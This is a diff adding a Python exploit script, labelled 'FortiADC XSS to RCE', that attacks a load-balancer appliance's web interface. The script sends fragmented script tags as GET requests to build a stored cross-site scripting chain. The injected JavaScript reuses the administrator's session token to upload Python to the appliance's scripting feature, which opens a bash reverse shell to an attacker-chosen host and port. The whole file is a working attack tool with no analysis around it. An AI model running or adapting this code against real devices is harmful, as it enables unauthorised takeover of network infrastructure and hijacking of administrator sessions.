| | 1 | + | #!/usr/bin/python3 |
| | 2 | + | |
| | 3 | + | import math |
| | 4 | + | import time |
| | 5 | + | import socket |
| | 6 | + | import base64 |
| | 7 | + | import argparse |
| | 8 | + | |
| | 9 | + | |
| | 10 | + | |
| | 11 | + | def encode_all(string): |
| | 12 | + | return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string) |
| | 13 | + | |
| | 14 | + | def genPayload(host, port): |
| | 15 | + | data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--' |
| | 16 | + | |
| | 17 | + | script_url = '/ui/#navigate/Config/system/aws_scripting' |
| | 18 | + | payload='''var xhr = new XMLHttpRequest(); |
| | 19 | + | xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true); |
| | 20 | + | xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]); |
| | 21 | + | xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380"); |
| | 22 | + | xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data |
| | 23 | + | |
| | 24 | + | payload=encode_all(payload) |
| | 25 | + | |
| | 26 | + | chunks = [payload[i:i+400] for i in range(0, len(payload), 400)] |
| | 27 | + | |
| | 28 | + | # We need to store chunks in a variable reading each row and then decode and eval it |
| | 29 | + | payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)] |
| | 30 | + | for i in chunks: |
| | 31 | + | payload.append("%s" % i) |
| | 32 | + | return payload |
| | 33 | + | |
| | 34 | + | uri=['','','','','','','','','',''] |
| | 35 | + | |
| | 36 | + | uri+=['<script>e(e(s))', \ |
| | 37 | + | '<script>s=e(v)', \ |
| | 38 | + | '<script>u=$(d)', \ |
| | 39 | + | '<script>v+=d+c', \ |
| | 40 | + | '<script>c="()"', \ |
| | 41 | + | '<script>v="u.t"', \ |
| | 42 | + | '<script>d="ext"', \ |
| | 43 | + | '<ext>y"]', \ |
| | 44 | + | '<ext>]["http_qr', \ |
| | 45 | + | '<ext>t.data()[0'] |
| | 46 | + | |
| | 47 | + | uri+=['<script>e(e(y))', \ |
| | 48 | + | '<script>e(e(z))', \ |
| | 49 | + | '<script>w=$(d)', \ |
| | 50 | + | '<script>z+=d+c', \ |
| | 51 | + | '<script>c="()"', \ |
| | 52 | + | '<script>z="w.t"', \ |
| | 53 | + | '<script>d="ext"', \ |
| | 54 | + | '<ext>le().api()', \ |
| | 55 | + | '<ext>").dataTab', \ |
| | 56 | + | '<ext>t=$("table'] |
| | 57 | + | |
| | 58 | + | uri+=['<script>e(e(y))', \ |
| | 59 | + | '<script>e=eval', \ |
| | 60 | + | '<script>x=$(d)', \ |
| | 61 | + | '<script>y+=d+c', \ |
| | 62 | + | '<script>c="()"', \ |
| | 63 | + | '<script>y="x.t"', \ |
| | 64 | + | '<script>d="ext"', \ |
| | 65 | + | '<ext>).click())', \ |
| | 66 | + | '<ext>>$(".next"', \ |
| | 67 | + | '<ext>_.delay(_='] |
| | 68 | + | |
| | 69 | + | parser = argparse.ArgumentParser(description='FortiADC XSS to RCE') |
| | 70 | + | parser.add_argument('thost', metavar='thost', help='Target host') |
| | 71 | + | parser.add_argument('tport', metavar='tport', help='Target port') |
| | 72 | + | parser.add_argument('rhost', metavar='rhost', help='Reverse shell host') |
| | 73 | + | parser.add_argument('rport', metavar='rport', help='Reverse shell port') |
| | 74 | + | args = parser.parse_args() |
| | 75 | + | count=0 |
| | 76 | + | payload = genPayload(args.rhost, args.rport) |
| | 77 | + | temp = len(payload)-1 |
| | 78 | + | |
| | 79 | + | for i in uri: |
| | 80 | + | if (count>=13) and (temp>=0): |
| | 81 | + | data = "GET %s?%s\r\n\r\n" % (i,payload[temp]) |
| | 82 | + | temp-=1 |
| | 83 | + | time.sleep(0.1) |
| | 84 | + | else: |
| | 85 | + | data = "GET %s?%s\r\n\r\n" % (i,count) |
| | 86 | + | time.sleep(0.1) |
| | 87 | + | |
| | 88 | + | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| | 89 | + | s.connect((args.thost, int(args.tport))) |
| | 90 | + | s.send(str.encode(data)) |
| | 91 | + | s.close() |
| | 92 | + | count+=1 |
| | 93 | + | |
